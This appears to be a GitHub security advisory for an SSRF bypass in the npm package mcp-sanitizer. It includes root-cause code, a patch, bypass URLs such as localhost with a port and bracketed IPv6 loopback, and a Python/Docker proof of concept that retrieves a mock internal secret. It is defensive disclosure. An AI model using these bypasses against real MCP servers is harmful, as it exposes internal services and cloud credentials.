GHSA-4MFG-R38W-W8FG

Vulnerability from github – Published: 2026-10-28 19:51 – Updated: 2026-10-28 19:51
VLAI
Summary
mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
Details

URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Summary

mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.

Details

The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.

Bug 1 — Port-guarded localhost check (line 274–276):

// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
  throw new Error('URL points to localhost without explicit port');
}

The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.

Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):

// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
  throw new Error(`URL points to link-local address: ${hostname}`);
}

The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.

Data flow through the middleware:

  1. src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.tool_name.
  2. src/middleware/express.js:548-554 — web_scraper/web_fetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }).
  3. src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to _secureSanitizeURL().
  4. src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.

Both bugs are in the default code path; no special configuration is required to trigger them.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@ 
-  const hostname = parsedUrl.hostname.toLowerCase();
+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@ 
-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
-    throw new Error('URL points to localhost without explicit port');
+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+    throw new Error('URL points to localhost or loopback');
   }
@@ 
-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+      hostname.startsWith('fc') || hostname.startsWith('fd')) {
     throw new Error(`URL points to link-local address: ${hostname}`);
   }
+
+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+  }

PoC

Prerequisites: Docker installed; no other dependencies required.

1. Build the Docker image:

docker build \
  -f vuln-001/Dockerfile \
  -t vuln-001-mcp-sanitizer \
  reports/npmAI_754_starman69__mcp-sanitizer

2. Run the PoC:

docker run --rm vuln-001-mcp-sanitizer

The poc.py script inside the image: - Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNAL_SECRET_DATA_9f3a2b1c. - Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates). - Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.

Expected output (abbreviated):

[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end

Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.

Minimal inline repro (no Docker):

# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
  'http://localhost:8080/',
  'http://[::1]:8080/',
  'http://[fe80::1]:8080/'
]) {
  const r = sanitizer.sanitize(url, { type: 'url' });
  console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:

  1. Uses mcp-sanitizer's sanitize() / createMCPToolMiddleware() as the security boundary for outbound URLs, and
  2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for web_fetch/web_scraper MCP tools),

is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.

Consequences: - Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration. - Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP. - Availability: Not directly impacted.

The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.

Reproduction artifacts

Dockerfile

FROM node:18-alpine

# Install Python3 for the PoC script
RUN apk add --no-cache python3

WORKDIR /app

# Copy package files first for better layer caching
COPY repo/package.json repo/package-lock.json ./

# Install Node.js dependencies (clean install, no dev deps)
RUN npm ci --ignore-scripts --omit=dev

# Copy library source
COPY repo/src ./src/

# Copy PoC script
COPY vuln-001/poc.py ./poc.py

# Run the PoC by default
CMD ["python3", "poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)

Root cause:
  src/utils/validation-utils.js:274:
    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
  - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
  - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
    so the string equality check against "::1" and startsWith("fe80:") both silently fail.

Attack scenario:
  1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
  2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.
  3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal
     service (localhost:PORT), leaking its response to the attacker.
"""

import subprocess
import sys
import json
import http.server
import threading
import urllib.request
import os

# ─────────────────────────────────────────────────────────────────────────────
# Step 1: Start a mock "internal" service on 127.0.0.1:8080
#         This simulates a privileged internal endpoint (e.g., metadata API,
#         admin panel) that should never be reachable from external input.
# ─────────────────────────────────────────────────────────────────────────────
INTERNAL_PORT = 8080
INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c"

class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
    """Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("X-Internal", "true")
        self.end_headers()
        self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode())

    def log_message(self, fmt, *args):
        pass  # Suppress default access logs for cleaner output


internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler)
srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)
srv_thread.start()
print(f"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}")
print(f"[*] Internal secret: {INTERNAL_SECRET}\n")


# ─────────────────────────────────────────────────────────────────────────────
# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs
# ─────────────────────────────────────────────────────────────────────────────
NODE_SCRIPT = r"""
'use strict';
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();

const tests = [
  // These should be BLOCKED (baseline: library is supposed to block localhost)
  { url: 'http://localhost/',        expectBlocked: true  },
  { url: 'http://127.0.0.1/',       expectBlocked: true  },
  // These are the BYPASS cases (the vulnerability)
  { url: 'http://localhost:8080/',   expectBlocked: false },
  { url: 'http://[::1]:8080/',      expectBlocked: false },
  { url: 'http://[fe80::1]:8080/',  expectBlocked: false },
];

const out = tests.map(t => {
  let result;
  try {
    result = sanitizer.sanitize(t.url, { type: 'url' });
    return {
      url: t.url,
      blocked: result.blocked,
      sanitized: result.sanitized,
      expectBlocked: t.expectBlocked
    };
  } catch (err) {
    return {
      url: t.url,
      blocked: true,
      sanitized: null,
      expectBlocked: t.expectBlocked,
      error: err.message
    };
  }
});

process.stdout.write(JSON.stringify(out));
"""

print("[*] Running mcp-sanitizer URL sanitization tests via Node.js ...")
proc = subprocess.run(
    ["node", "-e", NODE_SCRIPT],
    capture_output=True,
    text=True,
    cwd="/app"
)

if proc.returncode != 0:
    print(f"[ERROR] Node.js process exited with code {proc.returncode}")
    print(f"stderr: {proc.stderr}")
    sys.exit(2)

if not proc.stdout.strip():
    print("[ERROR] No output from Node.js process")
    print(f"stderr: {proc.stderr}")
    sys.exit(2)

results = json.loads(proc.stdout)


# ─────────────────────────────────────────────────────────────────────────────
# Step 3: Print sanitizer results and identify bypassed URLs
# ─────────────────────────────────────────────────────────────────────────────
print("[*] Sanitizer results:\n")
header = f"{'URL':<35}  {'blocked':<8}  {'sanitized':<35}  status"
print(header)
print("-" * len(header))

bypass_urls = []
unexpected = []

for r in results:
    blocked = r["blocked"]
    expected = r["expectBlocked"]
    sanitized_str = str(r.get("sanitized") or "null")
    status = "OK" if blocked == expected else "UNEXPECTED"
    if not blocked and r.get("sanitized"):
        bypass_urls.append(r["sanitized"])
        status = "BYPASS_CONFIRMED"
    print(f"{r['url']:<35}  {str(blocked):<8}  {sanitized_str:<35}  {status}")
    if blocked != expected:
        unexpected.append(r)

print()


# ─────────────────────────────────────────────────────────────────────────────
# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL
#         This proves the sanitizer flaw leads to real internal service access.
# ─────────────────────────────────────────────────────────────────────────────
ssrf_confirmed = False
ssrf_evidence = None
ssrf_url = "http://localhost:8080/"

if ssrf_url in bypass_urls:
    print(f"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...")
    try:
        resp = urllib.request.urlopen(ssrf_url, timeout=5)
        body = resp.read().decode().strip()
        print(f"[*] HTTP response status: {resp.status}")
        print(f"[*] HTTP response body:\n    {body.replace(chr(10), chr(10) + '    ')}")
        if INTERNAL_SECRET in body:
            ssrf_confirmed = True
            ssrf_evidence = body
            print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}")
    except Exception as exc:
        print(f"[ERROR] HTTP request failed: {exc}")
else:
    print(f"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step")

internal_server.shutdown()


# ─────────────────────────────────────────────────────────────────────────────
# Step 5: Final verdict
# ─────────────────────────────────────────────────────────────────────────────
print(f"\n{'='*65}")
print("VERDICT")
print(f"{'='*65}")
print(f"  Bypass URLs confirmed by sanitizer: {len(bypass_urls)}")
print(f"  Bypassed URLs:                      {bypass_urls}")
print(f"  Actual SSRF HTTP request succeeded: {ssrf_confirmed}")
print(f"  Exfiltrated secret matches:         {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}")

if ssrf_confirmed and len(bypass_urls) >= 2:
    print("\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end")
    print("  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080")
    print(f"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}")
    sys.exit(0)
elif len(bypass_urls) >= 2:
    print("\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed")
    print(f"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}")
    sys.exit(1)
else:
    print("\n  RESULT: FAIL - expected at least 2 bypass URLs")
    sys.exit(1)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mcp-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T19:51:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.\n\n### Details\n\nThe vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.\n\n**Bug 1 \u2014 Port-guarded localhost check (line 274\u2013276):**\n\n```js\n// src/utils/validation-utils.js:274-276\nif ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port) {\n  throw new Error(\u0027URL points to localhost without explicit port\u0027);\n}\n```\n\nThe `\u0026\u0026 !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.\n\n**Bug 2 \u2014 Bracketed IPv6 hostname mismatch (lines 272, 293\u2013295):**\n\n```js\n// src/utils/validation-utils.js:293-295\nif (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027)) {\n  throw new Error(`URL points to link-local address: ${hostname}`);\n}\n```\n\nThe Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === \u0027::1\u0027` (line 274) and `hostname.startsWith(\u0027fe80:\u0027)` (line 293) therefore never match, because the actual string starts with `[`.\n\n**Data flow through the middleware:**\n\n1. `src/middleware/express.js:499` \u2014 tool name derived from `req.params.toolName || req.body?.tool_name`.\n2. `src/middleware/express.js:548-554` \u2014 `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: \u0027url\u0027 })`.\n3. `src/sanitizer/mcp-sanitizer.js:527-528` \u2014 context type `url` routes to `_secureSanitizeURL()`.\n4. `src/sanitizer/mcp-sanitizer.js:698-700` \u2014 `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.\n\nBoth bugs are in the default code path; no special configuration is required to trigger them.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@ const { URL } = require(\u0027url\u0027);\n+const net = require(\u0027net\u0027);\n@@ \n-  const hostname = parsedUrl.hostname.toLowerCase();\n+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\\[|\\]$/g, \u0027\u0027).replace(/\\.$/, \u0027\u0027);\n@@ \n-  if ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port) {\n-    throw new Error(\u0027URL points to localhost without explicit port\u0027);\n+  if (hostname === \u0027localhost\u0027 || hostname.endsWith(\u0027.localhost\u0027) || hostname === \u0027::1\u0027) {\n+    throw new Error(\u0027URL points to localhost or loopback\u0027);\n   }\n@@ \n-  if (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027)) {\n+  if (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027) ||\n+      hostname.startsWith(\u0027fc\u0027) || hostname.startsWith(\u0027fd\u0027)) {\n     throw new Error(`URL points to link-local address: ${hostname}`);\n   }\n+\n+  if (net.isIP(hostname) === 6 \u0026\u0026 (hostname === \u0027::1\u0027 || hostname.startsWith(\u0027fe80:\u0027))) {\n+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);\n+  }\n```\n\n### PoC\n\n**Prerequisites:** Docker installed; no other dependencies required.\n\n**1. Build the Docker image:**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vuln-001-mcp-sanitizer \\\n  reports/npmAI_754_starman69__mcp-sanitizer\n```\n\n**2. Run the PoC:**\n\n```bash\ndocker run --rm vuln-001-mcp-sanitizer\n```\n\nThe `poc.py` script inside the image:\n- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.\n- Calls `sanitizer.sanitize(url, { type: \u0027url\u0027 })` via Node.js for five URLs (two expected-blocked, three bypass candidates).\n- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.\n\n**Expected output (abbreviated):**\n\n```\n[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/\n[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/\n[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/\n[SSRF HTTP 200] GET http://localhost:8080/ =\u003e \u0027INTERNAL_SECRET_DATA_9f3a2b1c\\npath=/\u0027\n[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c\nRESULT: PASS - SSRF bypass fully demonstrated end-to-end\n```\n\nBaseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.\n\n**Minimal inline repro (no Docker):**\n\n```bash\n# Inside the mcp-sanitizer repository root (npm ci first)\nnode - \u003c\u003c\u0027NODE\u0027\nconst MCPSanitizer = require(\u0027./src/sanitizer/mcp-sanitizer\u0027);\nconst sanitizer = new MCPSanitizer();\nfor (const url of [\n  \u0027http://localhost:8080/\u0027,\n  \u0027http://[::1]:8080/\u0027,\n  \u0027http://[fe80::1]:8080/\u0027\n]) {\n  const r = sanitizer.sanitize(url, { type: \u0027url\u0027 });\n  console.log(url, \u0027=\u003e blocked=\u0027, r.blocked, \u0027sanitized=\u0027, r.sanitized);\n}\nNODE\n```\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:\n\n1. Uses `mcp-sanitizer`\u0027s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**\n2. Passes the returned sanitized URL to an HTTP client (the library\u0027s documented intended use for `web_fetch`/`web_scraper` MCP tools),\n\nis exploitable by any party that can supply the `url` parameter \u2014 typically an unauthenticated network attacker in an MCP server deployment.\n\n**Consequences:**\n- **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.\n- **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.\n- **Availability:** Not directly impacted.\n\nThe vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:18-alpine\n\n# Install Python3 for the PoC script\nRUN apk add --no-cache python3\n\nWORKDIR /app\n\n# Copy package files first for better layer caching\nCOPY repo/package.json repo/package-lock.json ./\n\n# Install Node.js dependencies (clean install, no dev deps)\nRUN npm ci --ignore-scripts --omit=dev\n\n# Copy library source\nCOPY repo/src ./src/\n\n# Copy PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation\nLibrary: mcp-sanitizer v1.3.3 (commit caff5d6)\nCWE-918: Server-Side Request Forgery\nCVSS 3.1: 8.2 (High)\n\nRoot cause:\n  src/utils/validation-utils.js:274:\n    if ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port)\n  - The \"\u0026\u0026 !parsedUrl.port\" guard means any localhost URL WITH a port bypasses the block.\n  - Node.js URL API returns hostname as \"[::1]\" / \"[fe80::1]\" (with brackets) for IPv6,\n    so the string equality check against \"::1\" and startsWith(\"fe80:\") both silently fail.\n\nAttack scenario:\n  1. Attacker controls the \"url\" parameter of a web_fetch / web_scraper MCP tool call.\n  2. The server calls sanitize(params.url, { type: \u0027url\u0027 }) and trusts the result.\n  3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal\n     service (localhost:PORT), leaking its response to the attacker.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport http.server\nimport threading\nimport urllib.request\nimport os\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 1: Start a mock \"internal\" service on 127.0.0.1:8080\n#         This simulates a privileged internal endpoint (e.g., metadata API,\n#         admin panel) that should never be reachable from external input.\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nINTERNAL_PORT = 8080\nINTERNAL_SECRET = \"INTERNAL_SECRET_DATA_9f3a2b1c\"\n\nclass InternalServiceHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint).\"\"\"\n\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"X-Internal\", \"true\")\n        self.end_headers()\n        self.wfile.write(f\"{INTERNAL_SECRET}\\npath={self.path}\\n\".encode())\n\n    def log_message(self, fmt, *args):\n        pass  # Suppress default access logs for cleaner output\n\n\ninternal_server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), InternalServiceHandler)\nsrv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)\nsrv_thread.start()\nprint(f\"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}\")\nprint(f\"[*] Internal secret: {INTERNAL_SECRET}\\n\")\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nNODE_SCRIPT = r\"\"\"\n\u0027use strict\u0027;\nconst MCPSanitizer = require(\u0027./src/sanitizer/mcp-sanitizer\u0027);\nconst sanitizer = new MCPSanitizer();\n\nconst tests = [\n  // These should be BLOCKED (baseline: library is supposed to block localhost)\n  { url: \u0027http://localhost/\u0027,        expectBlocked: true  },\n  { url: \u0027http://127.0.0.1/\u0027,       expectBlocked: true  },\n  // These are the BYPASS cases (the vulnerability)\n  { url: \u0027http://localhost:8080/\u0027,   expectBlocked: false },\n  { url: \u0027http://[::1]:8080/\u0027,      expectBlocked: false },\n  { url: \u0027http://[fe80::1]:8080/\u0027,  expectBlocked: false },\n];\n\nconst out = tests.map(t =\u003e {\n  let result;\n  try {\n    result = sanitizer.sanitize(t.url, { type: \u0027url\u0027 });\n    return {\n      url: t.url,\n      blocked: result.blocked,\n      sanitized: result.sanitized,\n      expectBlocked: t.expectBlocked\n    };\n  } catch (err) {\n    return {\n      url: t.url,\n      blocked: true,\n      sanitized: null,\n      expectBlocked: t.expectBlocked,\n      error: err.message\n    };\n  }\n});\n\nprocess.stdout.write(JSON.stringify(out));\n\"\"\"\n\nprint(\"[*] Running mcp-sanitizer URL sanitization tests via Node.js ...\")\nproc = subprocess.run(\n    [\"node\", \"-e\", NODE_SCRIPT],\n    capture_output=True,\n    text=True,\n    cwd=\"/app\"\n)\n\nif proc.returncode != 0:\n    print(f\"[ERROR] Node.js process exited with code {proc.returncode}\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nif not proc.stdout.strip():\n    print(\"[ERROR] No output from Node.js process\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nresults = json.loads(proc.stdout)\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 3: Print sanitizer results and identify bypassed URLs\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"[*] Sanitizer results:\\n\")\nheader = f\"{\u0027URL\u0027:\u003c35}  {\u0027blocked\u0027:\u003c8}  {\u0027sanitized\u0027:\u003c35}  status\"\nprint(header)\nprint(\"-\" * len(header))\n\nbypass_urls = []\nunexpected = []\n\nfor r in results:\n    blocked = r[\"blocked\"]\n    expected = r[\"expectBlocked\"]\n    sanitized_str = str(r.get(\"sanitized\") or \"null\")\n    status = \"OK\" if blocked == expected else \"UNEXPECTED\"\n    if not blocked and r.get(\"sanitized\"):\n        bypass_urls.append(r[\"sanitized\"])\n        status = \"BYPASS_CONFIRMED\"\n    print(f\"{r[\u0027url\u0027]:\u003c35}  {str(blocked):\u003c8}  {sanitized_str:\u003c35}  {status}\")\n    if blocked != expected:\n        unexpected.append(r)\n\nprint()\n\n\n# 